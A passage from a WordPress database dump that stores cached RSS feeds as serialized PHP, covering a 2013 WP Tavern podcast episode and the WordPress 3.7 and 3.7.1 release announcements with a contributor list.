+0000\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:32:\&quot;http://purl.org/dc/elements/1.1/\&quot;;a:1:{s:7:\&quot;creator\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:12:\&quot;WordPress.tv\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}}}i:49;a:6:{s:4:\&quot;data\&quot;;s:13:\&quot;\n	\n	\n	\n	\n	\n	\n\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;s:5:\&quot;child\&quot;;a:2:{s:0:\&quot;\&quot;;a:5:{s:5:\&quot;title\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:73:\&quot;WPTavern: WPWeekly Episode 125 – Alex Denning And The Future Of WPShout\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;guid\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:32:\&quot;http://www.wptavern.com/?p=10488\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;link\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:121:\&quot;http://feedproxy.google.com/~r/WordpressTavern/~3/BrQjYeCM2K0/wpweekly-episode-125-alex-denning-and-the-future-of-wpshout\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:11:\&quot;description\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:3402:\&quot;&lt;p&gt;&lt;a href=\&quot;http://i1.wp.com/www.wptavern.com/wp-content/uploads/2013/08/WordPressWeekly_albumart2.jpg\&quot; rel=\&quot;thumbnail\&quot;&gt;&lt;img src=\&quot;http://i2.wp.com/www.wptavern.com/wp-content/uploads/2013/08/WordPressWeekly_albumart2.jpg?resize=150%2C150\&quot; alt=\&quot;WordPress Weekly Cover Art\&quot; class=\&quot;alignright size-thumbnail wp-image-8715\&quot; /&gt;&lt;/a&gt;On this weeks edition of the show, Alex Denning was my special guest along with the new owners of &lt;a href=\&quot;http://wpshout.com\&quot; title=\&quot;http://wpshout.com\&quot;&gt;WPShout.com&lt;/a&gt;, Fred and David of &lt;a href=\&quot;http://pressupinc.com/\&quot; title=\&quot;http://pressupinc.com/\&quot;&gt;PressUp Inc&lt;/a&gt;. In the show, Alex and I talk about the last four years of publishing content on WPShout.com, what types of opportunities it&amp;#8217;s opened up for him, and what it took to put together his annual webhosting review posts. Later in the show, I was joined by David and Fred. We talked about their plans for WPShout.com, their WordPress background and if they have any plans to monetize the site. Since Alex is now going to be focusing on school and has sold his website, I want to take this opportunity to thank him personally for spending his time making WPShout a great resource in the WordPress community. &lt;/p&gt;\n&lt;p&gt;If you will be attending &lt;a href=\&quot;http://2013.london.wordcamp.org/\&quot; title=\&quot;http://2013.london.wordcamp.org/\&quot;&gt;WordCamp London in November&lt;/a&gt;, be sure to attend Alex&amp;#8217;s session or at least say hi to him. It&amp;#8217;s his first WordCamp and &lt;a href=\&quot;http://2013.london.wordcamp.org/speakers/\&quot; title=\&quot;http://2013.london.wordcamp.org/speakers/\&quot;&gt;he&amp;#8217;s speaking!&lt;/a&gt;&lt;span id=\&quot;more-10488\&quot;&gt;&lt;/span&gt;&lt;/p&gt;\n&lt;h2&gt;Stories Discussed:&lt;/h2&gt;\n&lt;p&gt;&lt;a href=\&quot;http://wordpress.org/news/2013/10/basie/\&quot; title=\&quot;http://wordpress.org/news/2013/10/basie/\&quot;&gt;WordPress 3.7 Released&lt;/a&gt;&lt;br /&gt;\n&lt;a href=\&quot;http://make.wordpress.org/core/2013/10/25/the-definitive-guide-to-disabling-auto-updates-in-wordpress-3-7/\&quot; title=\&quot;http://make.wordpress.org/core/2013/10/25/the-definitive-guide-to-disabling-auto-updates-in-wordpress-3-7/\&quot;&gt;Definitive Guide For Disabling Updates&lt;/a&gt;&lt;br /&gt;\n&lt;a href=\&quot;http://wpshout.com/menace-theme-creep/\&quot; title=\&quot;http://wpshout.com/menace-theme-creep/\&quot;&gt;The Menace Of Theme Creep&lt;/a&gt;&lt;br /&gt;\n&lt;a href=\&quot;http://wpshout.com/how-to-find-live-examples-of-just-about-any-wordpress-theme/\&quot; title=\&quot;http://wpshout.com/how-to-find-live-examples-of-just-about-any-wordpress-theme/\&quot;&gt;How to find live examples of just about any WordPress theme&lt;/a&gt;&lt;/p&gt;\n&lt;h2&gt;WPWeekly Meta:&lt;/h2&gt;\n&lt;p&gt;&lt;strong&gt;Next Episode:&lt;/strong&gt; Friday, November 1st 3 P.M. Eastern &amp;#8211; Our special guest for next week&amp;#8217;s episode will be Cory Miller of iThemes.com to talk about his experience of leading one of the most successful commercial WordPress theme businesses on the web.&lt;/p&gt;\n&lt;p&gt;&lt;strong&gt;Subscribe To WPWeekly Via Itunes: &lt;/strong&gt;&lt;a href=\&quot;https://itunes.apple.com/us/podcast/wordpress-weekly/id694849738\&quot; target=\&quot;_blank\&quot;&gt;Click here to subscribe&lt;/a&gt;&lt;/p&gt;\n&lt;p&gt;&lt;strong&gt;Subscribe To WPWeekly Via RSS: &lt;/strong&gt;&lt;a href=\&quot;http://www.wptavern.com/feed/podcast\&quot; target=\&quot;_blank\&quot;&gt;Click here to subscribe&lt;/a&gt;&lt;/p&gt;\n&lt;p&gt;&lt;strong&gt;Subscribe To WPWeekly Via Stitcher Radio: &lt;/strong&gt;&lt;a href=\&quot;http://www.stitcher.com/podcast/wordpress-weekly-podcast?refid=stpr\&quot; target=\&quot;_blank\&quot;&gt;Click here to subscribe&lt;/a&gt;&lt;/p&gt;\n&lt;p&gt;&lt;strong&gt;Listen To Episode #125:&lt;/strong&gt;&lt;br /&gt;\n&lt;/p&gt;\n&lt;img src=\&quot;http://feeds.feedburner.com/~r/WordpressTavern/~4/BrQjYeCM2K0\&quot; height=\&quot;1\&quot; width=\&quot;1\&quot; /&gt;\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:7:\&quot;pubDate\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:31:\&quot;Sat, 26 Oct 2013 01:10:13 +0000\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:32:\&quot;http://purl.org/dc/elements/1.1/\&quot;;a:1:{s:7:\&quot;creator\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:6:\&quot;Jeffro\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}}}}}}}}}}}}}}s:4:\&quot;type\&quot;;i:128;s:7:\&quot;headers\&quot;;a:9:{s:6:\&quot;server\&quot;;s:5:\&quot;nginx\&quot;;s:4:\&quot;date\&quot;;s:29:\&quot;Sun, 03 Nov 2013 08:53:22 GMT\&quot;;s:12:\&quot;content-type\&quot;;s:8:\&quot;text/xml\&quot;;s:14:\&quot;content-length\&quot;;s:6:\&quot;150205\&quot;;s:10:\&quot;connection\&quot;;s:5:\&quot;close\&quot;;s:4:\&quot;vary\&quot;;s:15:\&quot;Accept-Encoding\&quot;;s:13:\&quot;last-modified\&quot;;s:29:\&quot;Sun, 03 Nov 2013 08:30:17 GMT\&quot;;s:4:\&quot;x-nc\&quot;;s:11:\&quot;HIT lax 249\&quot;;s:13:\&quot;accept-ranges\&quot;;s:5:\&quot;bytes\&quot;;}s:5:\&quot;build\&quot;;s:14:\&quot;20131101083921\&quot;;}', 'no');
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(3227, '_transient_feed_ac0b00fe65abe10e0c5b588f3ed8c7ca', 'a:4:{s:5:\&quot;child\&quot;;a:1:{s:0:\&quot;\&quot;;a:1:{s:3:\&quot;rss\&quot;;a:1:{i:0;a:6:{s:4:\&quot;data\&quot;;s:3:\&quot;\n\n\n\&quot;;s:7:\&quot;attribs\&quot;;a:1:{s:0:\&quot;\&quot;;a:1:{s:7:\&quot;version\&quot;;s:3:\&quot;2.0\&quot;;}}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;s:5:\&quot;child\&quot;;a:1:{s:0:\&quot;\&quot;;a:1:{s:7:\&quot;channel\&quot;;a:1:{i:0;a:6:{s:4:\&quot;data\&quot;;s:51:\&quot;\n	\n	\n	\n	\n	\n	\n		\n		\n	\n	\n		\n		\n		\n		\n		\n		\n		\n		\n		\n	\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;s:5:\&quot;child\&quot;;a:3:{s:0:\&quot;\&quot;;a:7:{s:5:\&quot;title\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:14:\&quot;WordPress News\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;link\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:25:\&quot;http://wordpress.org/news\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:11:\&quot;description\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:14:\&quot;WordPress News\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:13:\&quot;lastBuildDate\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:31:\&quot;Tue, 29 Oct 2013 21:04:59 +0000\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:8:\&quot;language\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:5:\&quot;en-US\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:9:\&quot;generator\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:33:\&quot;http://wordpress.org/?v=3.8-alpha\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;item\&quot;;a:10:{i:0;a:6:{s:4:\&quot;data\&quot;;s:42:\&quot;\n		\n		\n		\n		\n		\n				\n\n		\n		\n				\n			\n		\n		\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;s:5:\&quot;child\&quot;;a:5:{s:0:\&quot;\&quot;;a:7:{s:5:\&quot;title\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:35:\&quot;WordPress 3.7.1 Maintenance Release\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;link\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:50:\&quot;http://wordpress.org/news/2013/10/wordpress-3-7-1/\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:8:\&quot;comments\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:59:\&quot;http://wordpress.org/news/2013/10/wordpress-3-7-1/#comments\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:7:\&quot;pubDate\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:31:\&quot;Tue, 29 Oct 2013 21:04:59 +0000\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:8:\&quot;category\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:8:\&quot;Releases\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;guid\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:33:\&quot;http://wordpress.org/news/?p=2745\&quot;;s:7:\&quot;attribs\&quot;;a:1:{s:0:\&quot;\&quot;;a:1:{s:11:\&quot;isPermaLink\&quot;;s:5:\&quot;false\&quot;;}}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:11:\&quot;description\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:371:\&quot;WordPress 3.7.1 is now available! This maintenance release addresses 11 bugs in WordPress 3.7, including: Images with captions no longer appear broken in the visual editor. Allow some sites running on old or poorly configured servers to continue to check for updates from WordPress.org. Avoid fatal errors with certain plugins that were incorrectly calling some [&amp;#8230;]\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:32:\&quot;http://purl.org/dc/elements/1.1/\&quot;;a:1:{s:7:\&quot;creator\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:12:\&quot;Andrew Nacin\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:40:\&quot;http://purl.org/rss/1.0/modules/content/\&quot;;a:1:{s:7:\&quot;encoded\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:1594:\&quot;&lt;p&gt;WordPress 3.7.1 is now available! This maintenance release addresses 11 bugs in WordPress 3.7, including:&lt;/p&gt;\n&lt;ul&gt;\n&lt;li&gt;Images with captions no longer appear broken in the visual editor.&lt;/li&gt;\n&lt;li&gt;Allow some sites running on old or poorly configured servers to continue to check for updates from WordPress.org.&lt;/li&gt;\n&lt;li&gt;Avoid fatal errors with certain plugins that were incorrectly calling some WordPress functions too early.&lt;/li&gt;\n&lt;li&gt;Fix hierarchical sorting in get_pages(), exclusions in wp_list_categories(), and in_category() when called with empty values.&lt;/li&gt;\n&lt;li&gt;Fix a warning that may occur in certain setups while performing a search, and a few other notices.&lt;/li&gt;\n&lt;/ul&gt;\n&lt;p&gt;For a full list of changes, consult the &lt;a href=\&quot;http://core.trac.wordpress.org/query?milestone=3.7.1\&quot;&gt;list of tickets&lt;/a&gt; and &lt;a href=\&quot;http://core.trac.wordpress.org/log/branches/3.7?stop_rev=25914&amp;amp;rev=25986\&quot;&gt;the changelog&lt;/a&gt;.&lt;/p&gt;\n&lt;p&gt;If you are one of the &lt;a href=\&quot;http://wordpress.org/download/counter/\&quot;&gt;nearly two million&lt;/a&gt; already running WordPress 3.7, we will start rolling out the all-new &lt;a href=\&quot;http://wordpress.org/news/2013/10/basie/\&quot;&gt;automatic background updates&lt;/a&gt; for WordPress 3.7.1 in the next few hours. For sites &lt;a href=\&quot;http://wordpress.org/plugins/background-update-tester/\&quot;&gt;that support them&lt;/a&gt;, of course.&lt;/p&gt;\n&lt;p&gt;&lt;a href=\&quot;http://wordpress.org/download/\&quot;&gt;Download WordPress 3.7.1&lt;/a&gt; or venture over to &lt;strong&gt;Dashboard → Updates&lt;/strong&gt; and simply click &amp;#8220;Update Now.&amp;#8221;&lt;/p&gt;\n&lt;p&gt;&lt;em&gt;Just a few fixes&lt;br /&gt;\nYour new update attitude:&lt;br /&gt;\nZero clicks given&lt;/em&gt;&lt;/p&gt;\n\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:36:\&quot;http://wellformedweb.org/CommentAPI/\&quot;;a:1:{s:10:\&quot;commentRss\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:55:\&quot;http://wordpress.org/news/2013/10/wordpress-3-7-1/feed/\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:38:\&quot;http://purl.org/rss/1.0/modules/slash/\&quot;;a:1:{s:8:\&quot;comments\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:1:\&quot;0\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}}}i:1;a:6:{s:4:\&quot;data\&quot;;s:42:\&quot;\n		\n		\n		\n		\n		\n				\n\n		\n		\n				\n			\n		\n		\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;s:5:\&quot;child\&quot;;a:5:{s:0:\&quot;\&quot;;a:7:{s:5:\&quot;title\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:25:\&quot;WordPress 3.7 “Basie”\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;link\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:40:\&quot;http://wordpress.org/news/2013/10/basie/\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:8:\&quot;comments\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:49:\&quot;http://wordpress.org/news/2013/10/basie/#comments\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:7:\&quot;pubDate\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:31:\&quot;Thu, 24 Oct 2013 22:35:10 +0000\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:8:\&quot;category\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:8:\&quot;Releases\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;guid\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:33:\&quot;http://wordpress.org/news/?p=2736\&quot;;s:7:\&quot;attribs\&quot;;a:1:{s:0:\&quot;\&quot;;a:1:{s:11:\&quot;isPermaLink\&quot;;s:5:\&quot;false\&quot;;}}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:11:\&quot;description\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:357:\&quot;Version 3.7 of WordPress, named &amp;#8220;Basie&amp;#8221; in honor of Count Basie, is available for download or update in your WordPress dashboard. This release features some of the most important architectural updates we&amp;#8217;ve made to date. Here are the big ones: Updates while you sleep: With WordPress 3.7, you don&amp;#8217;t have to lift a finger to [&amp;#8230;]\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:32:\&quot;http://purl.org/dc/elements/1.1/\&quot;;a:1:{s:7:\&quot;creator\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:14:\&quot;Matt Mullenweg\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:40:\&quot;http://purl.org/rss/1.0/modules/content/\&quot;;a:1:{s:7:\&quot;encoded\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:17229:\&quot;&lt;p&gt;Version 3.7 of WordPress, named &amp;#8220;Basie&amp;#8221; in honor of &lt;a href=\&quot;http://en.wikipedia.org/wiki/Count_basie\&quot;&gt;Count Basie&lt;/a&gt;, is available &lt;a href=\&quot;http://wordpress.org/download/\&quot;&gt;for download&lt;/a&gt; or update in your WordPress dashboard. This release features some of the most important architectural updates we&amp;#8217;ve made to date. Here are the big ones:&lt;/p&gt;\n&lt;ul&gt;\n&lt;li&gt;&lt;strong&gt;Updates while you sleep&lt;/strong&gt;: With WordPress 3.7, you don&amp;#8217;t have to lift a finger to apply maintenance and security updates. Most sites are now able to automatically apply these updates in the background. The update process also has been made even more reliable and secure, with dozens of new checks and safeguards.&lt;/li&gt;\n&lt;li&gt;&lt;strong&gt;Stronger password recommendations&lt;/strong&gt;: Your password is your site&amp;#8217;s first line of defense. It&amp;#8217;s best to create passwords that are complex, long, and unique. To that end, our password meter has been updated in WordPress 3.7 to recognize common mistakes that can weaken your password: dates, names, keyboard patterns (123456789), and even pop culture references.&lt;/li&gt;\n&lt;li&gt;&lt;strong&gt;Better global support&lt;/strong&gt;: Localized versions of WordPress will receive faster and more complete translations. WordPress 3.7 adds support for automatically installing the right language files and keeping them up to date, a boon for the many millions who use WordPress in a language other than English.&lt;/li&gt;\n&lt;/ul&gt;\n&lt;p&gt;For developers there are lots of options around how to control the new updates feature, including allowing it to handle major upgrades as well as minor ones, more sophisticated date query support, and multisite improvements. As always, if you&amp;#8217;re hungry for more &lt;a href=\&quot;http://codex.wordpress.org/Version_3.7\&quot;&gt;dive into the Codex&lt;/a&gt; or browse the &lt;a href=\&quot;http://core.trac.wordpress.org/query?status=closed&amp;amp;group=resolution&amp;amp;milestone=3.7\&quot;&gt;over 400 closed tickets on Trac&lt;/a&gt;.&lt;/p&gt;\n&lt;h3&gt;A New Wave&lt;/h3&gt;\n&lt;p&gt;This release was led by Andrew Nacin, backed up by Dion Hulse and Jon Cave. This is our first release using the new plugin-first development process, with a much shorter timeframe than in the past. (3.6 was released in August.) The 3.8 release, due in December, will continue this plugin-led development cycle that gives much more autonomy to plugin leads and allows us to decouple feature development from a release. You can follow this grand experiment, and what we&amp;#8217;re learning from it, &lt;a href=\&quot;http://make.wordpress.org/core/\&quot;&gt;on the make/core blog&lt;/a&gt;. There are 211 contributors with props in this release:&lt;/p&gt;\n&lt;p&gt;&lt;a href=\&quot;http://profiles.wordpress.org/technosailor\&quot;&gt;Aaron Brazell&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/aaroncampbell\&quot;&gt;Aaron D. Campbell&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/aaronholbrook\&quot;&gt;Aaron Holbrook&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/jorbin\&quot;&gt;Aaron Jorbin&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/adamsilverstein\&quot;&gt;adamsilverstein&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/ahoereth\&quot;&gt;Alexander Hoereth&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/viper007bond\&quot;&gt;Alex Mills (Viper007Bond)&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/sabreuse\&quot;&gt;Amy Hendrix (sabreuse)&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/andg\&quot;&gt;andg&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/nacin\&quot;&gt;Andrew Nacin&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/norcross\&quot;&gt;Andrew Norcross&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/azaozz\&quot;&gt;Andrew Ozz&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/andrewspittle\&quot;&gt;Andrew Spittle&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/askapache\&quot;&gt;askapache&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/atimmer\&quot;&gt;atimmer&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/barry\&quot;&gt;Barry&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/beaulebens\&quot;&gt;Beau Lebens&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/benmoody\&quot;&gt;ben.moody&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/bhengh\&quot;&gt;Ben Miller&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/neoxx\&quot;&gt;Bernhard Riedl&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/bftrick\&quot;&gt;BFTrick&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/bananastalktome\&quot;&gt;Billy (bananastalktome)&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/bmb\&quot;&gt;bmb&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/kraftbj\&quot;&gt;Brandon Kraft&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/brianhogg\&quot;&gt;brianhogg&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/rzen\&quot;&gt;Brian Richards&lt;/a&gt;, &lt;a 